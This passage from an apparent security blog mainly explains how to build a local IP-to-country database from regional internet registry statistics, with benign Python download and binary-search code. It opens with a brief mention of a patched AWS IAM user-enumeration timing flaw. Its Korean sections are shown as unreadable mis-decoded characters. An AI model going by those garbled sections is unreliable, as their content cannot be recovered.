Burp Suite๋ฅผ ํ†ตํ•ด ํ…Œ์ŠคํŠธํ•œ ๊ฒฐ๊ณผ, ์‹ค์ œ ์กด์žฌํ•˜๋Š” IAM ์‚ฌ์šฉ์ž(bfme-console)์˜ ๊ฒฝ์šฐ, ์‘๋‹ต ์‹œ๊ฐ„์ด ์•ฝ 100ms ์ฆ๊ฐ€ํ•ด ์‹ค์ œ ์‚ฌ์šฉ์ž ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ CVE-2025-0693 ํ• ๋‹น๋ฐ›์•˜์œผ๋ฉฐ, AWS๋Š” ๋ชจ๋“  ์ธ์ฆ ์‹คํŒจ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์‘๋‹ต ์‹œ๊ฐ„์„ ๋™์ผํ•˜๊ฒŒ ์ง€์—ฐ์‹œํ‚ค๋Š” ๋ฐฉ์‹์œผ๋กœ ํŒจ์น˜๋ฅผ ์ง„ํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค.

Reference

[Research] Creating an IP Country Information Database (en)

2 March 2025 at 02:47

image.png

Hello, Iโ€™m empty ๐Ÿ‘‹. In the field of security, we often need to analyze suspicious IP addresses. When using various IP lookup services, the verdict on whether an IP is malicious may differ, but โ€œcountry information, ASN information, ISP informationโ€ are consistently provided. I became curious about where and how this data is obtained and served, so I decided to investigate.

๐Ÿ” Ways to Look Up IP Information

Broadly speaking, IP information can be retrieved via:

  1. IP information lookup services
  2. IP information databases
  3. The Whois protocol

Each method offers different speeds, accuracy, and freshness of data, so itโ€™s important to choose the method that best fits your needs.

๐ŸŒ IP Information Lookup Services

Some services provide reputation (malicious or fraud-related) information, others provide port scanning results, and others geographic location information. However, country, ASN, and ISP name are virtually always provided, no matter which service you use.

Type of ServiceExamples
Reputation CheckVirustotal, AbuseIPDB
Port ScannerCensys, Shodan, Criminal IP
IP GeolocationMaxMind, ipinfo, IP2Location, IPQualityScore

Although the data scope and content may differ subtly by service, almost every IP lookup service commonly returns the IPโ€™s country, ASN, and ISP name. Personally, I often use the ipinfo service via a simple curl command in the terminal.

image.png

Interestingly, different services can display different countries or location info for the exact same IP. For example, when looking up an IP address from the Hong Kong-based cloud provider SonderCloud Limited on VirusTotal, it shows as being in the United States, while ipinfo displays Hong Kong.

image.png

These discrepancies arise from a range of factors. Even if a company is registered in Hong Kong, its actual server could be physically located in the US, or vice versa. Additionally, some services base the IPโ€™s country not on the physical location but on the country in which the business is registered, or on the IP block assignment recorded by a Regional Internet Registry (RIR).

On top of that, the update frequency and data collection methods vary by service, so even the same IP may give different results from different sources.

๐Ÿ’พ Database Lookup

Here, โ€œdatabaseโ€ doesnโ€™t refer to applications like MySQL or PostgreSQL; rather, it refers to a prestructured โ€œIP information database fileโ€ that lists IP addresses along with details such as country and ASN. These can be implemented in various formatsโ€”like JSON, CSV, or MMDBโ€”and are commonly used in .mmdb format.

image.png

MMDB is a file format developed and published by MaxMind. Because itโ€™s an open format, MaxMind and many other IP information services provide their IP database files in .mmdb format. Many security devices that require real-time performance load the mmdb file into memory for super-fast lookups (on the order of less than 0.00n seconds per IP).

  • Example Lookup Code:
import maxminddbip = "8.8.8.8"with maxminddb.open_database("country_asn.mmdb") as reader:    result = reader.get(ip)    print(result)
  • Output:
{  "as_domain": "google.com",  "as_name": "Google LLC",  "asn": "AS15169",  "continent": "NA",  "continent_name": "North America",  "country": "US",  "country_name": "United States"}

However, because data such as ASN can change daily, you need to periodically update your local database file to stay current.

๐Ÿ›ฐ๏ธ Whois Protocol (TCP, 43)

Lastly, thereโ€™s the Whois protocol. When you query an IP address using Whois, it sends a request to the appropriate RIRโ€™s Whois server, which then returns detailed information about the IP. Since the data is maintained directly by an RIR, itโ€™s typically highly accurate.

image.png

Windows doesnโ€™t include a built-in Whois command, so I sometimes use the NirSoft tool IPNetInfo, which is particularly handy for bulk lookups.

image.png

Because Whois is a query-based method that communicates with a remote server, network latency is inevitable; and if the server is under heavy load or the queries are excessive, your requests might get blocked. For instance, the IPNetInfo product page states:

Sometimes the ARIN Whois server may be down and fail to respond to IPNetInfoโ€™s WHOIS queries, which prevents IPNetInfo from retrieving IP addresses. If this happens, try again later.

Below is a summary of each method:

MethodFreshnessAccuracySpeedNotes
1) External Service๐Ÿ‘ (frequently updated)๐Ÿ‘ (various sources)๐Ÿ‘Ž (network latency)- Many services are updated in real-time or very often, so you can get the latest data - However, there may be network delays depending on traffic or server conditions - Excessive queries or poor server conditions can cause slow or blocked responses
2) Build Your Own DB๐Ÿ‘Ž (periodic updates)๐Ÿค” (aggregated data)๐Ÿ‘ (local lookups)- Very fast since youโ€™re querying locally - If the update cycle is too long, freshness and accuracy can suffer
3) Whois Server๐Ÿ‘ (RIR data)๐Ÿ‘ (official info)๐Ÿ‘Ž (network latency)- Highly accurate, since the info comes directly from RIRs - Excessive queries or server issues can cause slow or blocked responses

Therefore, if you frequently query IPs and need quick responses in an environment where external internet access might not be possible, building your own local country database is the best approach. Below, Iโ€™ll show you how to collect source data from RIRs and build an IP-country information database in your local environment.

๐ŸŒ Understanding How IP Addresses Are Managed

The public IP addresses we useโ€”around 3.7 billionโ€”are limited resources. To manage them effectively, a central coordinating body is required. That role is filled by ICANN (Internet Corporation for Assigned Names and Numbers) in the United States.

iana.jpg

ICANN manages top-level internet resources like IP addresses, DNS, and protocol numbers. Because ICANN canโ€™t manage all IP addresses directly, the IANA (Internet Assigned Numbers Authority)โ€”an organization under ICANNโ€”allocates IP address ranges to RIRs (Regional Internet Registries) by region.

There are currently five RIRs: ARIN (North America), RIPENCC (Europe), LACNIC (Latin America), AFRINIC (Africa), and APNIC (Asia). Of these, LACNIC and APNIC maintain NIRs (National Internet Registries) to further subdivide responsibilities at a national level:

  • APNIC includes KRNIC (Korea), CNNIC (China), JPNIC (Japan), TWNIC (Taiwan), VNNIC (Vietnam), etc.
  • LACNIC includes NIC Brazil (Brazil), NIC Chile (Chile), NIC Mexico (Mexico)

In other words, IP addresses are managed in this chain: ICANN โ†’ IANA โ†’ RIR โ†’ NIR โ†’ ISP.

๐Ÿ—๏ธ Building an IP-Country Database

Each RIR routinely uploads statistics in a specific format to a specific path (named stats) on their FTP server, at a specific time (23:59:59), under a specific file name.

image.png

You can learn more about file format details by checking out APNICโ€™s RIR statistics exchange format.

๐Ÿ’ป Creating a Program to Query an IP โ†” Country Database

Now that we know the data sources (RIR FTP servers) and the file formats, we can build a tool. For example, you could:

  1. Every day at 09:00 (UTC+9), download each delegated-{REGISTRY}-latest file from every RIRโ€™s FTP server
  2. Extract each country / IPv4 / IP range from the downloaded file
  3. Convert the IP range (start ~ end) into decimal, sort, then save to a file
  4. Load the country-IP-range pairs into memory
  5. Use binary search

Hereโ€™s some sample code:

# builtin modulesimport osimport ipaddressimport asynciofrom datetime import datetime# install modulesimport aiohttpintervals = []today = datetime.now().strftime("%Y%m%d")RIR_URLS = [    "https://ftp.apnic.net/stats/apnic/delegated-apnic-extended-latest",    "https://ftp.arin.net/pub/stats/arin/delegated-arin-extended-latest",    "https://ftp.lacnic.net/pub/stats/lacnic/delegated-lacnic-extended-latest",    "https://ftp.ripe.net/pub/stats/ripencc/delegated-ripencc-extended-latest",    "https://ftp.afrinic.net/stats/afrinic/delegated-afrinic-extended-latest",]MAPPING_DATABASE = f"./rsc/{today}_mapping.db"# Downloadasync def fetch(session, url):    async with session.get(url) as response:        print(f"[{response.status}] - {url}")        content = await response.read()        filename = url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "wb") as f:            f.write(content)    return# Download coroutineasync def download():    async with aiohttp.ClientSession() as session:        await asyncio.gather(*(fetch(session, url) for url in RIR_URLS))    print("Download Complete")    return# Load databasedef init_database():    if not os.path.exists("./rsc"):        os.mkdir("./rsc")    # If the IP database set exists, load it into memory    if os.path.exists(MAPPING_DATABASE):        print("Databse load")        with open(MAPPING_DATABASE, "r") as f:            for line in f:                start_ip, end_ip, country = line.strip().split(",")                intervals.append((int(start_ip), int(end_ip), country))        return    # If it doesn't exist, download, process, and save    asyncio.run(download())    for rir_url in RIR_URLS:        filename = rir_url.split("/")[-1]        filepath = f"./rsc/{today}_{filename}"        with open(filepath, "r") as f:            for line in f:                line = line.strip().split("|")                if len(line) != 8 or line[2] != "ipv4":                    continue                country = line[1]                ip = line[3]                ip_range = line[4]                start_ip = int(ipaddress.IPv4Address(ip))                end_ip = (int(ipaddress.IPv4Address(ip)) + int(ip_range)) - 1                result = (start_ip, end_ip, country)                intervals.append(result)    # Save the data    intervals.sort(key=lambda x: x[0])    with open(MAPPING_DATABASE, "w") as f:        for interval in intervals:            line = f"{interval[0]},{interval[1]},{interval[2]}"            f.write(line + "\n")    print("Databse load")    return# Searchdef search(search_ip):    result = None    try:        search_ip = int(ipaddress.IPv4Address(search_ip))    except:        return None    left, right = 0, len(intervals) - 1    while left <= right:        mid = (left + right) // 2        start_ip, end_ip, country = intervals[mid]        if start_ip <= search_ip <= end_ip:            result = country            break        elif start_ip > search_ip:            right = mid - 1        else:            left = mid + 1    return resultdef main():    init_database()    while True:        ipv4 = input("Insert IPv4: ")        r = search(ipv4)        print(r)if __name__ == "__main__":    main()

image.png

Once downloaded from the RIRs, youโ€™ll see that around 253,714 IP ranges (covering the roughly 3.7 billion public IPs) exist. That effectively means you can figure out the country of any public IP. Interestingly, the program I wrote above seems to perform 30โ€“250 times faster lookups than queries using .mmdb.

My guess is that MMDB might have more granularly subdivided IP ranges and also stores additional data (like ASN), so that could explain the difference.

โœจ Conclusion

RIR data only contains information such as which IP addresses were assigned (e.g., IP block allocations). It doesnโ€™t tell you which ASNs those IPs belong to. To figure that out, youโ€™d need to collect data from BGP (Border Gateway Protocol) tables. Because this post has already grown quite long, Iโ€™ll continue this topic in a future article.

For sanityโ€™s sake, I personally recommend regularly downloading an .mmdb file from ipinfo or another provider, if feasible.

[Research] IP ๊ตญ๊ฐ€ ์ •๋ณด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋งŒ๋“ค๊ธฐ (ko)

2 March 2025 at 02:47

image.png

์•ˆ๋…•ํ•˜์„ธ์š”. empty์ž…๋‹ˆ๋‹ค๐Ÿ‘‹. ๋ณด์•ˆ ์—…๋ฌด๋ฅผ ํ•˜๋‹ค ๋ณด๋ฉด ์˜์‹ฌ์Šค๋Ÿฌ์šด IP๋ฅผ ๋ถ„์„ํ•˜๋Š” ์ผ์ด ์žฆ์€๋ฐ์š”. ์—ฌ๋Ÿฌ IP ์กฐํšŒ ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•ด ๋ณด๋ฉด ์•…์„ฑ ์—ฌ๋ถ€์˜ ๊ฒฐ๊ณผ๋Š” ์„œ๋กœ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์œผ๋‚˜ โ€œ๊ตญ๊ฐ€ ์ •๋ณด, ASN ์ •๋ณด, ISP ์ •๋ณดโ€๋Š” ๋ชจ๋‘ ๋™์ผํ•˜๊ฒŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐ์ดํ„ฐ๋Š” ์–ด๋””์„œ ์–ด๋–ป๊ฒŒ ๊ตฌํ•ด์„œ ์ œ๊ณตํ•ด ์ฃผ๋Š”์ง€ ๊ถ๊ธˆ์ฆ์ด ์ƒ๊ฒจ ์ง์ ‘ ์•Œ์•„๋ดค์Šต๋‹ˆ๋‹ค.

๐Ÿ” IP ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•๋“ค

IP ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” ๋ฐฉ์‹์€ ํฌ๊ฒŒ IP ์ •๋ณด ์กฐํšŒ ์„œ๋น„์Šค, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์กฐํšŒ, Whois ํ”„๋กœํ† ์ฝœ ์„ธ ๊ฐ€์ง€๋กœ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ๊ฐ์˜ ๋ฐฉ๋ฒ•์€ ์†๋„, ์ •ํ™•์„ฑ, ์ตœ์‹ ์„ฑ์ด ๋‹ค๋ฅด๋ฏ€๋กœ ์ƒํ™ฉ์— ๋งž์ถฐ ์„ ํƒํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๐ŸŒ IP ์ •๋ณด ์กฐํšŒ ์„œ๋น„์Šค

IP ์ •๋ณด๋ฅผ ์กฐํšŒํ•˜๋Š” ์„œ๋น„์Šค๋“ค์€ ์•…์„ฑ ์—ฌ๋ถ€๋‚˜ ์‚ฌ๊ธฐ ๊ด€๋ จ ํ‰ํŒ ์ •๋ณด๋ฅผ, ์ผ๋ถ€๋Š” ํฌํŠธ ์Šค์บ” ๊ฒฐ๊ณผ๋ฅผ, ๋˜ ์ผ๋ถ€๋Š” ์ง€๋ฆฌ์  ์œ„์น˜ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋“ฑ์˜ ์ฐจ์ด๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ๊ณตํ†ต์ ์œผ๋กœ ๊ตญ๊ฐ€, ASN, ISP ๋ช… ๋“ฑ์˜ ๊ธฐ๋ณธ ์ •๋ณด๋Š” ๋™์ผํ•˜๊ฒŒ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

์„œ๋น„์Šค ์ข…๋ฅ˜์ฃผ์š” ์„œ๋น„์Šค ๋ช…
ํ‰ํŒ ์กฐํšŒVirustotal, AbuseIPDB
ํฌํŠธ ์Šค์บ๋„ˆCensys, Shodan, Criminal IP
IP ์ง€๋ฆฌ์ •๋ณดMaxMind, ipinfo, IP2Location, IPQualityScore

์„œ๋น„์Šค ์ข…๋ฅ˜์— ๋”ฐ๋ผ ์ œ๊ณต๋˜๋Š” ๋ฐ์ดํ„ฐ ๋ฒ”์œ„์™€ ๋‚ด์šฉ์—๋Š” ๋ฏธ๋ฌ˜ํ•œ ์ฐจ์ด๊ฐ€ ์žˆ์œผ๋‚˜, ๊ฑฐ์˜ ๋ชจ๋“  IP ์กฐํšŒ ์„œ๋น„์Šค๋Š” ๊ณตํ†ต์ ์œผ๋กœ ๊ตญ๊ฐ€, ASN, ISP ๋ช… ์ •๋„๋Š” ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ฐœ์ธ์ ์œผ๋กœ๋Š” ํ„ฐ๋ฏธ๋„์—์„œ curl ๋ช…๋ น์–ด๋กœ ๊ฐ„๋‹จํžˆ ์กฐํšŒํ•  ์ˆ˜ ์žˆ๋Š” ipinfo ์„œ๋น„์Šค๋ฅผ ์ž์ฃผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค.

image.png

ํฅ๋ฏธ๋กœ์šด ์ ์€ ์„œ๋น„์Šค๋ณ„๋กœ IP ๊ตญ๊ฐ€ ์ •๋ณด๋‚˜ ์œ„์น˜ ์ •๋ณด๊ฐ€ ์„œ๋กœ ๋‹ค๋ฅด๊ฒŒ ํ‘œ์‹œ๋  ๋•Œ๊ฐ€ ์ข…์ข… ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํ™์ฝฉ์˜ ํด๋ผ์šฐ๋“œ ์—…์ฒด SonderCloud Limited IP ์ฃผ์†Œ๋ฅผ VirusTotal์— ์กฐํšŒํ•  ๊ฒฝ์šฐ ๋ฏธ๊ตญ์œผ๋กœ ํ‘œ์‹œ๋˜๊ณ , ipinfo์—์„œ๋Š” ํ™์ฝฉ์œผ๋กœ ํ‘œ์‹œ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

image.png

์ด๋Ÿฌํ•œ ์ฐจ์ด๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š” ์ด์œ ๋Š” ๋ณตํ•ฉ์ ์ž…๋‹ˆ๋‹ค. ๋ฒ•์ธ์ด ํ™์ฝฉ์— ์žˆ๋”๋ผ๋„ ๋ฌผ๋ฆฌ์  ์„œ๋ฒ„ ์œ„์น˜๊ฐ€ ๋ฏธ๊ตญ์ผ ์ˆ˜๋„ ์žˆ๊ณ , ๊ทธ ๋ฐ˜๋Œ€์ผ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, ์„œ๋น„์Šค ์ œ๊ณต์ž๊ฐ€ IP ๊ตญ๊ฐ€ ์ •๋ณด๋ฅผ ํ‘œ์‹œํ•  ๋•Œ ๋ฌผ๋ฆฌ์  ์œ„์น˜๊ฐ€ ์•„๋‹ˆ๋ผ ์‚ฌ์—…์ž ๋“ฑ๋ก ๊ตญ๊ฐ€ ๋˜๋Š” RIR์— ํ• ๋‹น๋œ IP ๋ธ”๋ก ๊ธฐ์ค€์œผ๋กœ ํ‘œ๊ธฐํ•˜๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฑฐ๊ธฐ์— ๋”ํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์—…๋ฐ์ดํŠธํ•˜๋Š” ์ฃผ๊ธฐ๋‚˜ ์ •๋ณด ์ˆ˜์ง‘ ๋ฐฉ์‹์ด ์„œ๋น„์Šค๋งˆ๋‹ค ๋‹ค๋ฅด๊ธฐ ๋•Œ๋ฌธ์—, ๊ฐ™์€ IP๋ผ๋„ ์„œ๋กœ ๋‹ค๋ฅธ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๐Ÿ’พ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์กฐํšŒ

๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ผ ํ•จ์€ MySQL, PostgreSQL ๊ฐ™์€ DB ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์•„๋‹ˆ๋ผ, IP-๊ตญ๊ฐ€-ASN ๋“ฑ๊ณผ ๊ฐ™์€ IP์˜ ์ •๋ณด๋ฅผ ๊ตฌ์กฐํ™” ์‹œ์ผœ ๋ฏธ๋ฆฌ ์ •๋ฆฌํ•œ โ€œIP ์ •๋ณด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผโ€์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ํŽธ์˜์— ๋”ฐ๋ผ json, csv, mmdb ๋“ฑ ์ž์œ ๋กญ๊ฒŒ ๊ตฌํ˜„ํ•˜์—ฌ ์‚ฌ์šฉ๋˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ฃผ๋กœ mmdb ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

image.png

MMDB๋Š” MaxMind ์‚ฌ์—์„œ ๊ฐœ๋ฐœํ•˜์—ฌ ๊ณต๊ฐœํ•œ ํŒŒ์ผ ํฌ๋งท์ž…๋‹ˆ๋‹ค. ๊ณต๊ฐœ๋œ ํŒŒ์ผ ํฌ๋งท์ด๋‹ค ๋ณด๋‹ˆ, MaxMind๋ฅผ ํฌํ•จํ•œ ์—ฌ๋Ÿฌ IP ์ •๋ณด ์กฐํšŒ ์„œ๋น„์Šค ์—…์ฒด๋“ค์ด MMDB ํŒŒ์ผ๋กœ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ํŒŒ์ผ์„ ์ œ๊ณตํ•ด ์ฃผ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. mmdb ํŒŒ์ผ์„ ๋ฉ”๋ชจ๋ฆฌ์— ์˜ฌ๋ฆฐ ๋’ค, ์กฐํšŒ๋ฅผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— IP ํ•˜๋‚˜๋ฅผ ์กฐํšŒํ•˜๋Š” ๋ฐ ์†Œ์š”๋˜๋Š” ์‹œ๊ฐ„์ด 0.00n์ดˆ ๋ฏธ๋งŒ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋งŽ์€ ์‹ค์‹œ๊ฐ„ ์„ฑ์ด ์ค‘์š”ํ•œ ๋ณด์•ˆ์žฅ๋น„๋“ค์€ mmdb๋ฅผ ํ™œ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์กฐํšŒ ์ฝ”๋“œ ์˜ˆ์‹œ
import maxminddbip = "8.8.8.8"with maxminddb.open_database("country_asn.mmdb") as reader:    result = reader.get(ip)    print(result)
  • ์ถœ๋ ฅ
{  "as_domain": "google.com",  "as_name": "Google LLC",  "asn": "AS15169",  "continent": "NA",  "continent_name": "North America",  "country": "US",  "country_name": "United States"}

๋‹ค๋งŒ, IP์˜ ์ •๋ณด(ASN ๋“ฑ)๋Š” ๊ฒฝ์šฐ ๋งค์ผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ๊ฐฑ์‹ ๋˜๊ณ  ๋ณ€๊ฒฝ์‚ฌํ•ญ์ด ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์œ„์™€ ๊ฐ™์€ ํŒŒ์ผ์„ ์ฃผ๊ธฐ์ ์œผ๋กœ ๊ฐฑ์‹ ํ•ด ์ค˜์•ผ ํ•œ๋‹ค๋Š” ์ˆ˜๊ณ ๋กœ์›€์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ›ฐ๏ธ Whois ํ”„๋กœํ† ์ฝœ(TCP,43)์„ ํ†ตํ•œ ์กฐํšŒ

๋งˆ์ง€๋ง‰์œผ๋กœ Whois ํ”„๋กœํ† ์ฝœ ํ™œ์šฉ์ž…๋‹ˆ๋‹ค. Whois ํ”„๋กœํ† ์ฝœ์— IP ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด ์งˆ์˜ํ•  ๊ฒฝ์šฐ ์ง€์—ญ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ(RIR)์˜ Whois ์„œ๋ฒ„์— IP์˜ ์ƒ์„ธ ์ •๋ณด๋ฅผ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. RIR์—์„œ ๊ด€๋ฆฌ๋ฅผ ํ•˜๋‹ค ๋ณด๋‹ˆ, ์ •ํ™•๋„๊ฐ€ ๋†’์€ ์ •๋ณด๋ผ๊ณ  ๋ณผ ์ˆ˜ ์žˆ๊ฒ ์Šต๋‹ˆ๋‹ค.

image.png

์œˆ๋„์šฐ์—๋Š” Whois ์ปค๋งจ๋“œ๊ฐ€ ๋‚ด์žฅ๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— Nirsoft ์‚ฌ์—์„œ ๊ฐœ๋ฐœํ•œ IPNetInfo๋ผ๋Š” ๋„๊ตฌ๋ฅผ ์ข…์ข… ์‚ฌ์šฉํ•˜๊ณค ํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ, ์ผ๊ด„์ ์ธ ์กฐํšŒ๋ฅผ ํ•  ๋•Œ ๊ต‰์žฅํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

image.png

Whois ํ”„๋กœํ† ์ฝœ์€ ๊ฒฐ๊ตญ ์„œ๋ฒ„์— ์งˆ์˜๋ฅผ ํ•˜๋Š” ๋ฐฉ์‹์ด๊ธฐ ๋•Œ๋ฌธ์— ํ•„์—ฐ์ ์œผ๋กœ ๋„คํŠธ์›Œํฌ ์ง€์—ฐ์ด ๋ฐœ์ƒํ•˜๊ณ , ์„œ๋ฒ„์˜ ์ƒํƒœ๊ฐ€ ์ข‹์ง€ ์•Š๊ฑฐ๋‚˜ ๊ณผ๋„ํ•œ ์š”์ฒญ์„ ๋ณด๋‚ผ ๊ฒฝ์šฐ ์š”์ฒญ์ด ์ฐจ๋‹จ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜๋„ ์žˆ์–ด, IPNetInfo ์†Œ๊ฐœ ํŽ˜์ด์ง€์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์„ค๋ช…์ด ๊ธฐ์žฌ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

๋•Œ๋•Œ๋กœ ARIN์˜ WHOIS ์„œ๋ฒ„๊ฐ€ ๋‹ค์šด๋˜์–ด IPNetInfo์˜ WHOIS ์š”์ฒญ์— ์‘๋‹ตํ•˜์ง€ ์•Š์•„ IPNetinfo๊ฐ€ IP ์ฃผ์†Œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿด ๊ฒฝ์šฐ ๋‚˜์ค‘์— ๋‹ค์‹œ ์‹œ๋„ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

๊ฐ ์กฐํšŒ ๋ฐฉ๋ฒ•๋ณ„ ํŠน์ง•์„ ์š”์•ฝํ•˜์ž๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

๋ฐฉ์‹์ตœ์‹ ์„ฑ์ •ํ™•์„ฑ์†๋„์„ค๋ช…
1) ์™ธ๋ถ€ ์„œ๋น„์Šค ์กฐํšŒ๐Ÿ‘ (์ˆ˜์‹œ ๊ฐฑ์‹ )๐Ÿ‘ (๋‹ค์–‘ํ•œ ์†Œ์Šค)๐Ÿ‘Ž (๋„คํŠธ์›Œํฌ ๋Œ€๊ธฐ)- ์—ฌ๋Ÿฌ ์„œ๋น„์Šค๊ฐ€ ์‹ค์‹œ๊ฐ„ ๋˜๋Š” ์ž์ฃผ ๊ฐฑ์‹ ๋˜๋Š” DB๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜์—ฌ ์ตœ์‹  ์ •๋ณด ํ™•๋ณด ๊ฐ€๋Šฅ ํŠธ๋ž˜ํ”ฝ/์„œ๋ฒ„ ์ƒํƒœ์— ๋”ฐ๋ผ ์กฐํšŒ ์ง€์—ฐ ๋ฐœ์ƒ ๊ฐ€๋Šฅ ๊ณผ๋„ํ•œ ์กฐํšŒ๋‚˜ ์„œ๋ฒ„ ์ƒํƒœ์— ๋”ฐ๋ผ ์‘๋‹ต ์ง€์—ฐยท์ฐจ๋‹จ ๋ฐœ์ƒ ๊ฐ€๋Šฅ
2) DB ์ง์ ‘ ๊ตฌ์ถ•๐Ÿ‘Ž (์ฃผ๊ธฐ ๊ฐฑ์‹  ํ•„์š”)๐Ÿค” (๋ฐ์ดํ„ฐ ์ทจํ•ฉ)๐Ÿ‘ (๋กœ์ปฌ ์กฐํšŒ)- ๋กœ์ปฌ ํ™˜๊ฒฝ์—์„œ ์กฐํšŒํ•˜๋ฏ€๋กœ ์†๋„๊ฐ€ ๋งค์šฐ ๋น ๋ฆ„ ๋ฐ์ดํ„ฐ ์—…๋ฐ์ดํŠธ ์ฃผ๊ธฐ๊ฐ€ ๊ธธ๋ฉด ์ตœ์‹ ์„ฑยท์ •ํ™•์„ฑ ์ €ํ•˜ ๊ฐ€๋Šฅ
3) Whois ์„œ๋ฒ„ ์กฐํšŒ๐Ÿ‘ (RIR ๋ฐ์ดํ„ฐ)๐Ÿ‘ (๊ณต์‹ ํ• ๋‹น์ •๋ณด)๐Ÿ‘Ž (๋„คํŠธ์›Œํฌ ๋Œ€๊ธฐ)- RIR ๊ณต์‹ ์ •๋ณด๋ฅผ ์ง์ ‘ ๋ฐ›์•„ ์ •ํ™•๋„๊ฐ€ ๋†’์€ ํŽธ ๊ณผ๋„ํ•œ ์กฐํšŒ๋‚˜ ์„œ๋ฒ„ ์ƒํƒœ์— ๋”ฐ๋ผ ์‘๋‹ต ์ง€์—ฐยท์ฐจ๋‹จ ๋ฐœ์ƒ ๊ฐ€๋Šฅ

๋”ฐ๋ผ์„œ, IP ์กฐํšŒ๊ฐ€ ๋นˆ๋ฒˆํ•˜๊ฒŒ ์ด๋ฃจ์–ด์ง€๊ณ  ๋น ๋ฅธ ์‘๋‹ต ์†๋„๊ฐ€ ์š”๊ตฌ๋˜๋ฉฐ, ์™ธ๋ถ€ ์ธํ„ฐ๋„ท ํ†ต์‹ ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ํ™˜๊ฒฝ์ด๋ผ๋ฉด ์ž์ฒด์ ์œผ๋กœ ๊ตญ๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๊ตฌ์ถ•ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด RIR์—์„œ ์›์ฒœ ๋ฐ์ดํ„ฐ๋ฅผ ์ˆ˜์ง‘ํ•˜๊ณ , ๋กœ์ปฌ ํ™˜๊ฒฝ์—์„œ IP์˜ ๊ตญ๊ฐ€ ์ •๋ณด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์„ ์†Œ๊ฐœํ•˜๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๐ŸŒ IP ์ฃผ์†Œ ๊ด€๋ฆฌ ์ฒด๊ณ„ ์ดํ•ดํ•˜๊ธฐ

